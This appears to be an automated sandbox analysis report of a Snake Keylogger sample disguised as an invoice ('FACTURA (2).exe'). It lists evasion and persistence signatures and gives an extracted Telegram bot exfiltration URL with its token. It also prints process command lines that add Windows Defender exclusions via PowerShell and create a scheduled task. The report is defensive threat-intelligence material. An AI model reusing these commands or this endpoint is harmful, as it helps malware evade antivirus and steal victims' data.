Analysis
- max time kernel
152s - max time network
163s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
02/12/2022, 14:58
General
- Target FACTURA (2).exe
- Size 738KB
- Sample221202-sb7laacf41
- SHA256 a1689d72306cf3dcdc8a3319008387ea66113ec85575ad4b0c905084e6aba306
Malware Config
Extracted
-
snakekeylogger
-
https://api.telegram.org/bot5402813712:AAG__8vfwqo_1K9XHIpxzTR9T7UW4raysO4/sendMessage?chat_id=5034680713
Signatures
- Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
- Snake Keylogger payload 1 IoCs
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
- Looks for VMWare Tools registry key 2 TTPs 1 IoCs
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\FACTURA (2).exe"C:\Users\Admin\AppData\Local\Temp\FACTURA (2).exe"1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Checks computer location settings
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\FACTURA (2).exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\oTDlvqdsR.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\oTDlvqdsR" /XML "C:\Users\Admin\AppData\Local\Temp\tmpCED9.tmp"2⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Local\Temp\FACTURA (2).exe"C:\Users\Admin\AppData\Local\Temp\FACTURA (2).exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
ModuleAnalysisCache
StartupProfileData-NonInteractive
tmpCED9.tmp
memory/720-133-0x0000000005F20000-0x00000000064C4000-memory.dmp
memory/720-134-0x0000000005970000-0x0000000005A02000-memory.dmp
memory/720-135-0x00000000058E0000-0x00000000058EA000-memory.dmp
memory/720-136-0x00000000095D0000-0x000000000966C000-memory.dmp
memory/720-138-0x0000000001570000-0x00000000015D6000-memory.dmp
memory/720-132-0x0000000000EA0000-0x0000000000F60000-memory.dmp
memory/1816-156-0x0000000007770000-0x0000000007806000-memory.dmp
memory/1816-160-0x0000000007490000-0x0000000007498000-memory.dmp
memory/1816-157-0x0000000007720000-0x000000000772E000-memory.dmp
memory/1816-153-0x0000000007B70000-0x00000000081EA000-memory.dmp
memory/1816-148-0x00000000061E0000-0x00000000061FE000-memory.dmp
memory/1816-149-0x00000000067B0000-0x00000000067E2000-memory.dmp
memory/1816-155-0x0000000007560000-0x000000000756A000-memory.dmp
memory/1816-150-0x0000000070D90000-0x0000000070DDC000-memory.dmp
memory/1816-154-0x00000000074F0000-0x000000000750A000-memory.dmp
memory/4416-139-0x00000000047A0000-0x00000000047D6000-memory.dmp
memory/4416-152-0x0000000005F10000-0x0000000005F2E000-memory.dmp
memory/4416-151-0x0000000070D90000-0x0000000070DDC000-memory.dmp
memory/4416-144-0x00000000054E0000-0x0000000005546000-memory.dmp
memory/4416-159-0x0000000006FB0000-0x0000000006FCA000-memory.dmp
memory/4416-143-0x0000000005440000-0x0000000005462000-memory.dmp
memory/4416-140-0x0000000004E10000-0x0000000005438000-memory.dmp
memory/4840-147-0x0000000000400000-0x0000000000426000-memory.dmp